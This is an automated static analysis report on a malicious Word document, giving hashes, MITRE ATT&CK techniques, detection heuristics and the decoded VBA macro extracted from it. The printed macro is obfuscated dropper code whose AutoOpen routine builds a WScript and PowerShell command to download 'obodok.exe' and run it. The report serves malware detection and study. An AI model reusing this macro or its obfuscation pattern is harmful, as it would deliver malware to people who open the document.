Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 713190f0433ae918…

MALICIOUS

Office (OLE)

69.5 KB Created: 2017-02-19 13:23:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 9c1f3b90b924ec16ca65c84fa894e651 SHA-1: a6fe359847cc9efe956810263a7e872545528c0f SHA-256: 713190f0433ae9180aea272957d80b2b408ef479d2d022f0c561297dafcfaec2
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing a VBA macro. The AutoOpen macro executes a function that uses CreateObject to instantiate a scripting object. This script then constructs a command to download and execute a second-stage payload named 'obodok.exe' from a location that is not fully specified due to obfuscation, but the intent is clear. The ClamAV detection further confirms its malicious nature.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6328785-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6328785-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2087 bytes
SHA-256: ac17993e86b964037c7cf2b9a1b63adaff133fda435291d79e56d5e1436f7c7a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Call pPjsJp
End Sub

Attribute VB_Name = "jhdf"
Function pPjsJp()
ffRT = ofjdt.jdiHior
LdKr = "scrip"
jfJerjJ = LdKr + ffRT
Set JOdjr = CreateObject("W" + jfJerjJ)
JOdjr.Run OJej(odfjdr), 0
End Function


Attribute VB_Name = "ofjdt"
Attribute VB_Base = "0{B2CF7BD4-4446-4C3F-A9B3-B5A980BDCA79}{4C914A28-B588-4DD5-8030-52E34CD0C204}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Option Explicit


Attribute VB_Name = "jset"
Attribute VB_Base = "0{2548D51D-022A-496A-925F-F6569D021161}{10476322-17A4-46CF-8363-83A6BD2F00A0}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Option Explicit


Attribute VB_Name = "KHdryy"
Function OJej(odfjdr)
fhgrtt = "(" + jset.yuthhf + jset.vbcffg + ""
odfjt = ofjdt.Jifrt
kpsd = "S" + odfjt + "ebClient)"
dLsPfri = fhgrtt + kpsd
bxcvjs = "." + ofjdt.jgkI + "loadFile"
JIjer = "('" + idfhe.wetr + idfhe.zxvc + idfhe.jftr + idfhe.nvcf + "t','%" + ofjdt.ytu + "%\obodok.exe');"
vcber = "Start-" + "Process '%" + ofjdt.ytu + "%\obodok.exe';"
OJej = ofjdt.rty + " /c  " + jset.tyre + jset.ytef + jset.nmgf + "" + dLsPfri + bxcvjs + JIjer + vcber + ""
End Function

Attribute VB_Name = "idfhe"
Attribute VB_Base = "0{09452A52-4C9B-48CF-BECA-80C488AD1598}{61654487-E7E6-4642-A4AB-2D4D01E8C7EB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False